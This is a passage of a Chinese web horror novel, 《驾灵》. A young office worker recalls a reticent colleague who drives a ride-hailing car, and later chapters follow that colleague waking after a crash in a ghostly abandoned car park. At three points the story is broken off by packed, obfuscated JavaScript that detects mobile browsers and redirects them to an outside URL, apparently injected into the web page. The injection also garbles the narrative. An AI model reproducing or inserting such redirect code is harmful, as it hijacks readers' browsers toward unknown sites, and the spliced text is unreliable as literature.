《驾灵》 1. 楔子 我是在公司一月一度的生日会上认识苇姐的。当时所有生日在4月的员工在茶水间集合,难得我们这小破公司还有这福利,排队签名字,拿礼物,领蛋糕。 苇姐全名苇思航,她的名字在表格里我的名字上面。第一次见到这个名字,我还以为是个男的。直到我撂开签字笔,排在领蛋糕的队伍末尾,她正好在我前面一个,礼貌地侧过身,方便与我交谈。 她冲我一笑:“你是新来的吧?我是苇思航,叫我苇姐就行。” 我从善如流,马上道:“苇姐好。我是陈青,可以叫我小陈。” 旁边有个男同事听见,插话进来:对着我道:“没想到吧?是苇姐,不是苇哥噢~” 他自行笑了起来:“啧啧,要是苇哥,多难听啊!是不是,苇思航?” 我初来乍到的新人,连他名字都不知道,只有笑着,去看苇姐,她也颇给面子地提了提嘴角,不过没有接话。 苇姐个子不高,有些瘦弱,素颜,戴眼镜,看起来很文静气质的一个姐姐。据说来公司已经五年多了。她上身穿着针织马球衫,下身是灰色西裤,公司不让穿的太休闲,我认出她脚上是一双黑色帆布鞋,看起来就和皮鞋差不多。 后来我跟苇姐熟了一些,从她口中得到了有关刚才插话的那位男士的三字真言:嘴巴碎,爱面子,别去惹——那人是财务部的徐振,私人跟公司高层有点关系,关键月末报销多指着他,不然要卡人的。 当时我初来乍到,就算苇姐不跟我说,我也不会惹他就是了。但我仍然觉得徐振聒噪,很讨厌,场上没人理他,他更来劲了。 讲完刚刚名字的玩笑,他不愿意放过苇姐。 “苇思航,原来你也是4月的生日?什么星座的?” 苇姐回答:“金牛的。” “我去,和我一样!看不出来啊!”他咂咂嘴。 苇姐沉默。难道她看起来像白羊吗? “你今年多大了?不会也和我同年吧,你看着可比我成熟多了!” 苇姐脸色未变,正要回答。 “等等。”徐振举手停止,忽指了指我,“阿青,你今年多大?” 我刚进公司两周,没想到会牵连到我,回答:“我今年二十一岁。” 不仅是徐振,还是苇姐,还有边上所有听到的人,都不由得齐齐发出“好小啊”的感叹。 我有点不好意思,低了低头。这是我大学刚毕业的第一份工作。 还在学校里的时候,身边都是同龄人,年纪稍小,好像会带来某种优越感,但工作的时候,放在眼下,反而叫我觉得有几分难堪。 这时传来苇姐不高不低的声音,回答徐振刚才的问话:“我今年三十三。” 周围人的关注点便不在我身上了。 徐振立马夸张地结果话头:“哇!一个21,一个33,整整差了一轮啊!” 徐振或许惊讶于苇姐的淡定,自爆道:“我比你来晚一年,年纪嘛,也比你小一岁——我是不是也得叫你一声苇姐啊?” 苇姐:“不用。” 徐振一时梗住。 队伍轮到苇姐,她自取了两份蛋糕,转过身递给我,我才道那另一份是给我拿的,忙接过道谢。 徐振暂时想不到新的话,吊在半空中似的。苇姐这时空出的手掌轻推了下我,像是催促:“走,回工位上吃去。” “好。” 我跟着她亦步亦趋,把烦人的徐振扔在脑后。惊喜地发现,原来我们的工位也离得很近。 我当时心想,等我三十三岁的时候,要是也像苇姐一样飒,就好了。 * 或许只有我那样想。 又待长了一段时间,我更知道了苇姐的为人。 在大多数人的眼里,苇姐这人跟“飒”沾不上边,反而有些温吞。 她说话轻声和气,大多数时间在自己的位置上默默做事,办公室的八卦讨论,她从不参与,办公室的奶茶聚会,她也敬谢不敏。徐振当着面说她“抠门”,苇姐一笑而过。 苇姐确实十分节省,一周像是只有两套衣服,单双日换着穿,总是背一个单肩帆布包,也从不见她带什么饰品,擦什么香水,朴素的过了头。每天自己带饭,聚餐能推就推。她不参与八卦,并不代表其他人不议论她,尤其午餐时间,她总不在,同事们也不忌讳指名道姓。 “苇姐家里很困难吗?” “也没吧。听说是A城本市人呢!” “那是成家了?” “也没有吧。好像连男朋友都没,上次张姐还说给她介绍来着……” “那是什么情况?是爱看演唱会,旅游,还是抽盲盒?” “你少来!就知道以己度人,必须有个烧钱的爱好才行是吧!有些人就是爱省钱啊,又咋了。”——这位女同事说出了我的心声。 不过我也能理解,无欲则刚的人太可怕了。 本司唯一能和苇姐决一高下的,是技术部四十二岁的赵哥——赵哥结婚了,顺应国家政策生了二胎,前几年买了房子,从此背上了巨额房贷,去年被一家有名的科技公司裁员,几番辗转才沦落到我们这儿,干活比地里老黄牛还拼命,深夜下了班还要跑几单顺风车这样子。 “不会苇姐也买房了吧……” “这么一说就有可能了,真是年少有为啊。” “所以说咱们还在这儿替别人担心,其实人家早就是有产阶级了……”——怎么还酸溜溜的呢? 财务部徐振再次出马:“放屁!就她能买房?我真的要笑死!那穷酸样,买辆破车不错了!” 对哦,这倒提醒了我,苇姐有辆车。 我才21岁,在办公室里享有一些天真的特权。 此时我撑着下巴,一脸崇拜地看着办公室里挥斥方遒的“徐哥”:“对了,您开什么车来着?” 徐振身穿始祖鸟,脚踏萨罗蒙,在一众目光中,脸色黑了一点。 也对,他买不起。 * 我知道苇姐有辆车,是因为有天晚上下雨,我打车的时候打到了。 赵哥下班开顺风车的事情人尽皆知,为了避免有损同事内部感情,大家私下里转告赵哥的车牌号,打车的时候多注意点。 我只知道赵哥有这个副业,事实上,刚刚忍痛取消了他的订单,第二次呼叫花了我20分钟,有一刻我差点以为我只能冒雨走到公交车站了,幸而那辆白色的小汽车神兵天降。 我核对了车牌号是0373无误,一路踩着水洼,跑出20米,拉开门一屁股坐进去。 “师傅,手机尾号xxxx。” 我刚坐定,车还未发动,听见前座传来的女声。 “阿青?” “……苇姐?!” 我感到十分窘迫,不过还得是苇姐,依旧淡定得很。 “你住的挺远啊。”苇姐道,“你身上湿了,冷不冷,要不要我把空调调高一点?” “是啊,谢谢苇姐。”我道,至少三十分钟的路程,我得想办法别让场景太尴尬,想了又想,还是道:“原来苇姐你也开网约车啊?” “嗯啊,”苇姐道,“我天天都开。” “你也住西城那边吗?” “不是,我住东边。” “那不是不顺路……” “没有,正好今天要去那边办点事情。” “哦……” 我突然有点理解徐振了,苇姐总是回答,从不接话,如同铁壁,让开启对话那个人多少有点难受。 我搜肠刮肚,把车厢里能看到的都夸了个遍。 车厢很宽敞,又干净,后座抽纸充电线一应俱全,还有股淡淡的皂香。 其实可聊的还是很多的。 “苇姐,这是什么车啊?” “xx牌的。” 我深吸一口气,正要继续问。 “哦,你可能不知道,是个国产牌子,已经破产了。”苇姐补充道。 “……” 我努力回忆着之前听男人们聊车时候的关键词。 “这是油车……混动的?还是电动的?” “是电动车。”苇姐回答,“跑油太贵了。” “噢,发动机几缸的?”我装作专家似的。 “……” 前方传来苇姐的笑声。她笑得很温柔,很好听。我后来才知道,电动车没有“缸”这一说。 因为苇姐的笑,我轻松了一些,大概是发现我一直没话找话,她终于多说了一些有关这车的事情。 “这是我从朋友那里买的二手车。平常城市通勤,上下班啊的比较方便。” “那应该很便宜咯?” “并没有,”难得听到苇姐这种语气,竟然有些悲愤——我购物节买贵了东西也这样,不过很快恢复了心平气和,告诫我,“不过就算便宜也别买。小车厂破产之后,修车麻烦死了。零件都不好配。上次去汽修店,要我八万八。” 我张着嘴巴,只知道重复那个数字:“八万八?!” “对啊。”苇姐幽幽道,“这钱现在都够买辆新车了。” “那你修了吗?” “当然没。” 我想到什么,语气渐弱:“所以,苇姐你这车,是有什么毛病啊?” “小毛病。”苇姐随口道,像是应了她的回答,车速忽而慢了下来,她一踩油门,车一个明显的趔趄,卡顿片刻才重新加速。电车本来行驶起来是很安静的,我却听到好像闷雷一样的声音,从车底传来……也不知道苇姐听见没有。 我第一次听见苇姐骂人,低声嘟囔:“见鬼。” 我在后座悄悄系起安全带。 车到了目的地,苇姐本要开进老小区里,我见外面不再下雨,坚持让她在路边把我放下来。 “走咯。谢谢苇姐,明天见!” 苇姐也冲我告别,我关上车门,看那辆白色的小轿车驶远。下过雨的夏天晚上,空气闷热粘滞,我倒像活过来了似的。苇姐的车里也不知是为什么,哪怕调高了空调,还是越坐越冷啊。 * 我和苇姐逐渐熟悉起来,其实也只是从点头之交,成了茶水间见面偶尔会聊上几句的关系。 我对她本人的了解,说起来还不如对她的车多。闲聊时问苇姐平时喜欢做什么,她仔细想了下,回答说喜欢睡觉,表情颇为认真,我又无话可接。我才知道,每天中午,苇姐不在位置上的时候,都是去车里午休。 所以有自己的车还是好啊!我感叹。 “听说了吗?我上次去试驾的sales跟我说,现在好多银行下调了车贷利率!” 茶水间里,徐振又在高谈阔论。 “徐哥准备买车了?” 终于有人问了这么一句,徐振旋即回答:“嗯啊。”若有若无的,还看我一眼。 我默默吃着另一位离职同事请客的茶点——也是我们齐聚在茶水间的原因,不知道为什么聊天的话题转到了买车上面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670540|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “BBA看过了,没啥意思,国内电动车方兴未艾,自家产业当然要支持一下!我最近正在做调研,准备等下次国补的时候买辆代步玩玩,赶上好政策了啊……” “买电动车,可以问苇思航啊!我记得她开的就是电动车,看上去挺像模像样的呢!” 徐振的表情肉眼可见地冷了下去。 苇姐有车,而且开网约车的事情,已经在同事们之间传开了——当然,不是我说的。 “她那车我可看不上,空调冷死,跟个棺材似的!” ——是徐振。显然他也打到过,苇姐的车。 “而且苇思航这人开车,能吓死个人!上次我坐她车,好好在马路中央突然打方向盘,后面根本没车,她硬说是后面有人要超车,还神经兮兮地问我看到没,真搞笑!”徐振道,“要不是看在大家都是同事,坐到这种网约车,我保准要投诉!” “哎呀,女司机,理解下,开车都这样。” “没想到苇思航平时看着挺沉稳,原来也是个马路杀手啊!”有人附和。 徐振愤慨:“这种人就不该让上路!要是出什么事,得害多少人啊……” “就是!” 徐振表情稍霁,又聊回车贷上面,嘿嘿一笑:“也不知道苇思航当时利率多少,现在降了这么多,肠子不都得悔青了……” 他说这话却没人接茬,谁看苇姐都不像会贷款买车的人,当然是全款拿下! 像苇姐那样过着苦行僧一样的日子,如果有一天听说她买房了,我好像也不会很惊讶…… “劳驾让一下。”一个不高不低的女声打断了对话。只见一个人接完水,从茶水间一角的饮水机那边走来,所有人齐刷刷地转头,像摩西站在红海前似的,中间分出一条路来。 茶杯里冒起氤氲热气——那人正是苇姐。 我看到她,一怔,突然想不起自己站在这里的前因后果。茶水间同事一起小聚,是压根没叫苇姐呢,还是被她拒绝了? 众人都噤声,像是排练好的舞台剧那样,齐刷刷朝她望去。 我先是看看其他人奇怪的反应,心中纳闷,终是也忍不住朝她看去。她也正看着我,只我一个。即使隔着茶杯里浮上的水雾,隔着她被水雾蒙住的镜片。眼前的一切像是电影镜头,其他人成了背景板,朝着她突然拉近,我的视野无比清晰,连她镜框折角上的几道划痕都清晰可见。 “哎哟!” 我像被魇住了一样移不开目光,却听见身旁传来的声音:同事的痛呼,几声人体倒地的闷响,连带着茶水间的椅子在地板上划出刺耳的声音,我没有转头去看,脑海中却无比清晰地看到了一张张失去意识,五官流出脓血的面孔……正属于我身边那些刚才还在一起谈笑风生的同事们。他们的脖子奇形怪状地弯折着,有的脸砸在松软的蛋糕上,从器官里流出深色的污血像是陈年的果酱。 电影镜头成了默片,一切声音都远去了,只余光影。午后和煦的阳光透过写字楼的窗户,无比温柔明亮。我在原地动弹不得,塑料叉子支在糊成一团的奶油蛋糕上,好似也在融化。 苇姐仍然站在那里,作为镜头中唯一的女主角,她的姿态十分悠闲,对周围发生的一切恍若不觉,低下头,捏着杯子里茶包垂在杯沿的标签,在热水里浸了又浸,杯中茶水已是一片深红。忽而她一个转腕,扯着茶包的绳子,把茶包拽了出来,随手丢到脚下的垃圾桶里。 我又一次听见了声音,是她的话穿透默片,也结束了刚刚那场独角戏。苇姐总是那样,轻声细语的。 这时是在问我:“……蛋糕好吃吗?” 她抬起头,镜片的雾气散尽,我才看见她镜框后空无一物的右眼眶,一个黑漆漆血淋淋的伤口。那被她随手丢弃的“茶包”,尽头连接着不是别的,正是她下落不明的右眼球,给她脚下的垃圾桶一个特写,其中黏腻无状的白色组织与红茶的液体交织,似乎还在微微跳动,此时瞳孔的部分艰难转到正面,直盯着我,只我一个。 “啊啊啊啊啊——!”我发出惊叫。 睁开眼睛,身处熟悉的出租屋的卧室,月光从窗边洒了进来,我仍是惊惧交加地喘个不停。寂静的深夜,连墙上挂钟的声音都清晰入耳,看了看时间,还有四个小时该起床上班的感知瞬间模糊了噩梦的痛感。 ——原来是梦。 * 我有一段时间没见过苇姐了,夏日将尽,一晃眼,我来这个公司已满4个月,对于苇姐的记忆,越来越模糊起来。 我约等于她在办公室最亲近的人,这个时候发现,除了加了她的微信,连她的电话都不知道。 据说连假都没请,也不知道是出了什么事,我给她的微信留言全都得不到回复。 人力算着她旷工的日子,酝酿着阴谋,新下来的裁员名单,苇姐也赫然在册。 ——她在这里工作了五年,如果因为不守公司纪律被开除,而不是辞退,能省下一笔不菲的赔偿金。 也就没人去管她,像所有人都忘记了世上还有那个人似的,时间一长,我也变得麻木起来,只偶尔想起那个有苇姐的噩梦,心里一刺。 也是,指望能有多关心你的同事呢?我与苇姐的熟悉程度,逐渐仅限于我从积压成山的工作里抬起头来,放风一样,瞄到她工位电脑上永不熄灭的屏保。 偶然想起苇姐这个人,我才惊觉,竟连一些最基本的都不记得,33岁的苇姐,轻声细语,喜欢睡觉,开网约车……咦,她在公司是哪个部门的来着? 2. 1. 停车场 初秋的夜晚,气温还是夏季,天上没有星光,像是一块黑布从头罩下,没有一点要亮起的意思。 A城某废弃停车场的一角,不甚明亮的照明路灯下,一辆白色小汽车有几分打眼,鉴于附近没有空余的车位,它只有胡乱横停在中间的甬道上,以至于挡住了后面车辆的出路。 横七竖八停在车位上的那些,与其说是车,不如说是机械铁块的尸体,看起来年久失修,废弃已久,统一的黑色车身上布满泥浆,由于很久没有下雨,于是在那泥浆上又罩了一层哑光的灰尘,在前挡风玻璃上糊作一气。雨刷器歪歪扭扭,像某种怪物折断的节肢,不甘地指向空中,车胎这一个那一个的瘪了,导致车身倾斜向一边,一眼望去,像是一群瘸腿稍息的士兵,数不清的杂草从地下顽强地冒头,沿着车胎轮毂的橡胶面兀自生长,构成符文一样的纹路。 那辆白色小汽车混入其中,简直像是出现在乞丐堆里穿着白纱裙的公主,太新,也太洁白了。更格格不入的是,它如今引擎尚未熄火,车灯亮着,笔直而空洞地射向前方,前吻上钉着一块新能源绿牌,车牌号0373。 主驾座椅上,安全带失去了回收的张力,苇思航身体前倾,垂下的头靠在方向盘上,已然失去了意识。车厢里十足安静,只有运行中的空调发出像是颤抖一样抽吸的声音。 她突然惊醒,身体猛一个向前,正好压在喇叭上面,刺耳的鸣笛声在耳边炸响,她随即完全清醒了过来。 血……红的…… 温热的液体从额头上流到眼睛的触感…… 苇思航睁开眼睛。 眼前没有血,自然也没有红色。不过眼睛里发刺,确实有什么东西流进去了,她伸手一抹,原来满头的汗。背上湿了一片,汗把衣服黏在身上的感觉很不好受,空调吹出的冷气倒甚是抚慰。 几乎是察觉到这些的同时,苇思航脸色一变,挣扎着解开安全带,打开门,跳下车,动作一气呵成。 外界的热浪迎面扑来,苇思航扶着车门,才不至于天旋地转跌倒,接着弯下腰,痛苦地干呕起来。 * 苇思航只记得,她好像是遭遇了一场车祸。她明明记得,上一秒她还在开车去上班的路上,怎么突然一下,天就黑了? 这里又是哪里? 她吐完感觉稍好些了,站起身来环顾四周,没戴眼镜,眼前一片模糊,只大概看出来这里是个废弃的停车场,她身旁一排黑车横七竖八,也不知在这里报废多久了,晃眼一看,还当是刚从地里刨出的棺材。 本来天气很热,这样的联想倒让人生出几分寒意,周围一片死寂,连夏夜里不可或缺的蝉鸣和蟋蟀的声音都听不见,苇思航忍不住清清喉咙,胸腔跟着震动,发出声音,才确认不是自己的耳朵出了问题。她的目光放远一些,从又黑又高的天空茫然地下落,附近地势开阔,不费什么功夫,她终于看到了让她感到熟悉的东西。 目之所及的远方,矗立着这个城市标志性的超高端写字楼,被称为“梦茧”大厦的,在这样静默,且沉黑的夜里,它的存在简直就像灯塔一样。 苇思航的公司不在“梦茧”,不过也在那附近,只需一眼,她便大概知道了自己如今的方位,心下稍安。想了想,她重新坐回车内,空调运行中,“咝咝”朝外吐着冷气。她伸手在中控台上一摸,果然找到了她的眼镜戴上。 眼前的一切重新清晰起来,仪表盘亮着,此刻上面有一个突兀的橙色标识。苇思航努力回忆了许久科目一的知识,猜测那应该是指示发动机的某处出了问题……最好别吧,她比较希望是自己记错了,毕竟上次考试好像是上个世纪的事了…… 她又戳了戳横在驾驶座和副驾之间,开不了机一片漆黑的中控电脑,这么一看,好像只是个小问题。 不不,如果她没有记错,车祸是真,现在最应该庆幸的,是她本人毫发无伤才对吧? 当务之急,她要先从这个鬼地方开出去。这样想着,苇思航双手扶上方向盘,同时操纵驾驶杆,切换到了行进档,0373开始缓慢地向前移动。 ——很好,有故障,但还能发动。 这期间,看到仪表盘上显示电量还剩15%,苇思航又走神了。明明记得昨天刚充满电,当时一块二毛一度的电费给她心疼死……怎么用这么快啊? 另外……现在的时间是早上6点30分? 她不由得又望了一眼,明显是深夜,毫无亮起征兆的天空,心里泛起了嘀咕。 她的车原本横在两侧停车位中间,正对着她的车头,是那些黑色废车中的一辆,被近光灯一照,车灯盖反射着光线,像是冷冷的逼视,随着0373的移动,两车越靠越近,大概还有30cm的距离,眼看就要撞上了。0373配备了微距报警功能,尖利的警报声响起,拉回了苇思航的注意力。 经验告诉她,对于现在的车况,她应当先刹车,再换到倒挡,后退前进挪腾几次,等车身与甬道差不多平行,再慢慢滑行出去。 苇思航就是这样想的。 她本能地踩下左侧的刹车踏板。 然而,车却狠狠朝前冲了出去! 0373的车头看似轻柔地吻上了对面车的前脸,瞬间暴露了狂暴的真面目,像鬣狗咬死对方的脖子一样,不依不饶地朝前冲撞。爆发的巨大冲力,让那废车的前脸完全凹陷进去,铁皮皱皱巴巴,像是被压瘪的易拉罐,车屁股被逼退着撞上了后墙,不堪重压地一寸寸缩进,发出让人牙酸的金属摩擦的声音。 苇思航在骇然之中,只有更结实地踩下刹车踏板,想要让车停下。0373底盘发出轰鸣,车轮转动地更加欢实,如果不是这时和黑车恰巧卡在了一个奇怪的角度,导致前轮离开了地面,一时空转,想必黑车已然迎来彻底的灭亡。 苇思航很快意识到了问题所在,忙松开踏板,车轮的转速果然放慢了一些,从鬣狗瞬间变成了猫咪,底盘持续的轰鸣也成了撒娇的呼噜似的,前轮重新落到地面上,黑车跟着心有余悸地晃了一晃。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670541|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苇思航有一种奇怪的感觉,沉思片刻,她尝试着踩下右侧踏板,尽管,那照理来说是油门…… ——转动的车轮止住了。 * 掌握了0373全新的使用要点,苇思航磕磕绊绊,终于把车停到了一开始的地方。 切换到P停车档,苇思航大大地舒了一口气。她甚至不敢下车查看己车的情况,从前窗望出去,车头形状大致完好,近光灯无情地照着不远处倒霉黑车的惨状。 如果她没有记错,这已经是她短时间内发生的第二次车祸了…… 她猛地想到了什么,伸出两只手轮流在上面哈气,然后立刻凑上去闻。 ——她不会是酒驾了吧? 这得喝多少,才会把油门和刹车弄混啊? 可是右边是刹车,左边是油门……本来就是这样的吗? 她愣了愣,什么味道都没闻到。她是说,什么味道,都没有。为了确认,她特意用手在头顶上摩挲两下,放到鼻尖——犹记得洗头是两天前的事了——理所应当有些头油味。此时光是想到那股亲切的人味,竟就让她有点怀恋。 可还是,什么都没有。 苇思航皱起眉头,心中的疑虑越来越大,感觉自己简直像在做梦。 * 苇思航活了三十三年,自觉此前的人生问心无愧,她本也打算这样继续生活下去。 可现在,她撞了别人的车,没有任何表示,连下车都不敢,准备尽快驶离现场,以期目前发生在她身上的诡异的一切能尽快恢复正常。 驾驶着尾号0373的白色小轿车,以20km/h的龟速在废弃的停车场里打转,苇思航焦急地寻找着出口。没想到这里出乎意料的大,一眼望不到尽头的两侧停车位上,停满了和刚才遭遇不测的被害车一式的钢铁垃圾,沉默地目送0373离开。 简直像个坟场——这个念头出现,苇思航不禁打了个寒战。 四周又黑,又安静,她听到空调运作的声音,好似另一个生物和她一起,正在紧张地喘着粗气,两个声音逐渐合为一体。地面平整的要命,一路没有遇到任何坎坷,反而叫人觉得不安,0373呈匀速向前滑去,好像她正在驾驶的不是汽车,而是一块肥皂。这里只有她一个人,她再一次明确了这个认知,面上不显,实则一颗心在逐渐加重的惊疑中狂跳,好像也有人在她心里一顿乱踩油门似的。 每辆车的样子都是那样相似,一路没有看到指示牌,苇思航也不记得自己转了几圈,时间快到7点了,天还是一片死沉,方向和时间都失去了意义。控制雨刷器和车灯的摇杆也和她记忆中的相反,就在希望也要失去之际,“咔哒”一声,她不慎碰到一侧摇杆,意外打开了远光灯。 还好,光明还有意义。 两道无比明亮的灯柱射向远方,将路上的一切都照的分明,同一路径上的黑车默然垂首,苇思航扶了扶眼镜,她好像看到了,不远处那亮着红光的好像是…… 出口闸机? 3. 2. 陆萌 苇思航也说不好,一路没遇到人,她害怕,但要这时候前方突然出现一个人的话……她说不定会被吓死。 在那之前,她先听到汽车引擎令人愉悦的轰鸣声,当下心中只有惊喜与感激。 ——这时她已开着0373离出口闸机越来越近了,另一辆黑车从对向驶来,她要出去,对面要进来,各自都被横在面前的栏杆拦住,对角线方向大眼瞪小眼。 她的远光灯依旧霸道地开着,自带光源,周围的一切在强光下尽收眼底。 进出口两条小路并行,左右各一闸机,一车一杆通行。苇思航望向她这条路的尽头,欣喜地看到熟悉的立交桥——她每天上班都要经过的那架。这时她才赫然发现,这个停车场原来藏在一片居民楼之中,眼前一排排老旧的民房,像是突然出现似的……不然她刚才在这里面绕行这么久,怎么会没看到呢? 对面车上司机不满地按喇叭,“嘀,嘀”两声。 “喂喂,有没有素质啊!眼睛都要被闪瞎了!”对面女司机的声音从摇下的车窗里传来,让苇思航回过神来,顿时觉得无比亲切。 对面的黑车和停车场里那些是同一型号,不过车况看起来要好多了,至少能开,就很能说明什么。车顶上亮着一盏黄色的小灯,上写“的士”两字。 原来还是辆出租车啊? “不好意思!不好意思!”苇思航按下副驾车窗,脸上带着发自内心的笑容,要是不知内情,还当她不怀好意。接下来的乌龙便显得更加可疑,她本来应该关灯,却打开了雨刷——又忘了!反的反的! 她手忙脚乱捣鼓了下,终于成功切换成近光灯,她这时发现两边的栏杆都还没有抬起来——正合她意——好容易遇到一个活人啊!她特别想和对方说上两句话,随便什么都行。 副驾车窗大开着,室外略显炎热的空气随之倾泄进来,苇思航伸长脖子,上半身受到安全带的束缚,用尽全力往外探去——要知她的脚还踩在刹车上,这动作可不容易。 她正要说什么,那边传来开关车门的声音,对方下了车。 苇思航从车窗艰难望去,待看到对方的样子,蓦地睁大了眼睛。 那人身材高挑,从下往上,穿着长及大腿的黑色漆皮靴,红色鞋孔带像是歪歪扭扭的缝针,甚有几分辛辣,热裤和削肩紧身背心,勾勒出她的火辣身材,没有肩带的那一侧手臂,刺青从手腕一直蔓延到胸口,最后隐入衣服才罢休。再往上看,她的头发同样高调,是和靴子呼应的火红,长及臀部,发质好的离奇,简直不像真的。苇思航只顾看着她的头发,在暗夜里像发光的丝线一样闪啊闪的,连她的脸长什么样都没注意。 苇思航从没在现实生活中见过这种女人,对方简直像出现在游戏里,或者动漫里的女性角色……而且,出租车司机? 亲近感退去,违和感再次袭来。 闸机显然是出了什么故障,所以栏杆才会一直不抬起来,红发女下车检查,对着铁盒子一样的机器拍了又拍,就差上脚踹了。 “那个……”苇思航出声,伸出一根手指,很想指给她看——入口处本该有摄像头的地方,摄像头却不翼而飞,足以说明问题。 她的声音果然引起了红发女的注意,对方一个转身,目光看到她,忽而一定,下一秒喜笑颜开。 “苇姐!太好了,你还没醒,我还寻思我来晚了!” 听见那一声熟悉的“苇姐”,苇思航心头大震,然而搜刮了一番记忆,怎么想都对这红发女印象全无,好半天,艰难吐字:“……你谁?” * “我呀,陆萌!”红发女一甩头,“我就知道你又忘了!我下了夜班就来了,不过呢,最近睡得不好,入睡花了点时间,所以耽搁了点儿。” 苇思航听不懂,直愣愣地看着她。 陆萌弯下腰,隔着车窗与苇思航对上眼,那只花臂此时横在车窗上,挤压着胸前波涛汹涌,富有且慷慨。 陆萌发觉她的目光,不禁一声轻笑,自己也低头看了一眼,好像很满意似的,犹嫌不够,乃至直接拉开衣服欣赏一番。 “这个啊……” 苇思航替她面红耳赤,更没想到的是,对方毫不在意,直接冲她掀起下摆。 苇思航:??不是—— 由于她的浏览速度太快,等她发现自己看到了什么,已经来不及了。 在陆萌脖子下,被衣服遮住的部分,一片白茫茫的马赛克,形同乱码,苇思航差点以为是自己的眼睛出了问题。 陆萌看起来十分沮丧:“看来还是渲染不够。” ……苇思航一时不知该从什么地方问起。 陆萌松开手,富有弹性的紧身背心迅速恢复原样,在她身上上发出“啪”的一声。她又一次弯下腰,这次直接伸手探进车窗,不等苇思航反应,迅捷无比地将车门从内打开,拖长的声音有种漫不经心:“苇姐,载我一程呗~” * 停车场出入口,黑车与白车呈对角线之势,一个出不去,一个进不来。 已知入口处的摄像头不翼而飞,至于出口那一侧,看起来倒是一切正常。 至于栏杆迟迟不抬,闸机上一行红字滚动,说明了原因。 “无出入记录车辆,请联系管理员后离场。” 陆萌二话不说挤进车里,欢天喜地地系上安全带,不忘大赞:“苇姐,你这车里真凉快!” 给苇思航整不会了。 车里突然多了一个陌生人,一下显得拥挤了许多。 陆萌:“看我干嘛?开车啊!” 苇思航:“开……去哪儿?” 她说着,看看陆萌,又看看前方挡路的栏杆,就差“hello?” “是不是应该联系那个……管理员……” 陆萌轻嗤一声,似乎觉得她这个想法很可笑似的。 “苇姐,管他的,撞上去呗,出去了再说。”陆萌的眼里划过一丝戏谑,声音如恶魔低语,“你看这停车场,哪里像有个管理员的样子?更何况,入口的摄像头都被人撬了,出口栏杆被撞一下,又有什么打紧?” 苇思航目光一闪,果然动摇,登时想到自己不久前才闯下的烂摊子,死不瞑目的黑车…… 反正逃一次也是逃,逃两次也是逃! 陆萌一只手撑在腿上,支着下巴,侧头冲苇思航微笑,似蛊惑,似威胁。 “不赶紧出去,难道留在这里等死……诶诶诶!!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670542|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆萌摆好的姿势在突然的加速度里陡然散了架,只见0373如离弦的箭一般朝前冲去,主驾上的苇思航目光决然,看着前方,气势逼人,她的双手紧紧抓着方向盘,脚下毫不放松。 栏杆像是纸糊的,被强力冲撞下直接断开,残躯击打在挡风玻璃上,发出吓人的声音,不过一点划痕也没留下。 副驾上的陆萌由惊转喜,短暂地适应了车速,顿感畅快无比,恨不得把身上的背心扒下来探出车窗挥舞——幸而没那样做,于是退而求其次,从没关紧的车窗里流出一串肖似反派的笑声。 * 苇思航形同逃命,驾驶着小白车0373开了好远,直到停车场和周围的居民楼被甩在身后,在一条三岔路前的网格线内停下,再往前走,就是那架熟悉的立交桥了。 到了这里,终于有了额外的照明,隔十米一个路灯,守护着来往车辆的通行安全,然而十几分钟过去了,这附近除了0373,苇思航没再看到任何一辆车驶过。 等等,等等,她还需要冷静一下。 接二连三的违法乱纪让苇思航接近虚脱,等车停稳后,苇思航大口大口地喘着气,等到缓和些了,她才想起下车检查车况。绕着0373走了一圈,仔细观察,苇思航紧皱的眉头却一直没能放松下来,经历了接二连三的暴力冲击,0373车头、前窗一切完好,连个凹坑都找不到。 奇怪…… 无法用常理解释的事一个接一个,苇思航几乎快麻木了,但周围立交桥附近的场景又分外熟悉,明明就是她每天上班的路啊……她心里没着没落的,不由得多走几步,沿着缓坡上行,抬头看到三岔路上方指示方向的交通立牌。 只见那硕大的蓝色立牌反着路灯的光线,上面指明方向,一条通往滨河路,一条通往滨河路,一条……还通往滨河路。 有没有来个人告诉她,她是在做梦对吧? “苇姐,干嘛呢?快回来呀!”身后车上传来陆萌的声音,唱歌一样,朝苇思航招呼道。 她答应一声,认命往车上走去。刚走了几步,突然感觉有什么不对。 她明明记得,她刚才把车停在了亮堂的地方,然而此时,前方一条光明与黑暗的分界线悄然降临,像是把0373拦腰切断,车头还在路灯的辖区,车尾已陷入黑暗。在0373的背后,她们不久前的来处,仿佛不久前升起大范围的夜雾,太浓,也太黑了,老旧居民区的轮廓被完全吞噬,沉入虚无,好似从未存在过。 苇思航预感不妙,紧走几步,只想尽快把半身陷入黑暗的0373开走。 她的动作已经很快了,副驾上的陆萌却并不满意似的,按了两下喇叭,催促中带着一丝焦躁。 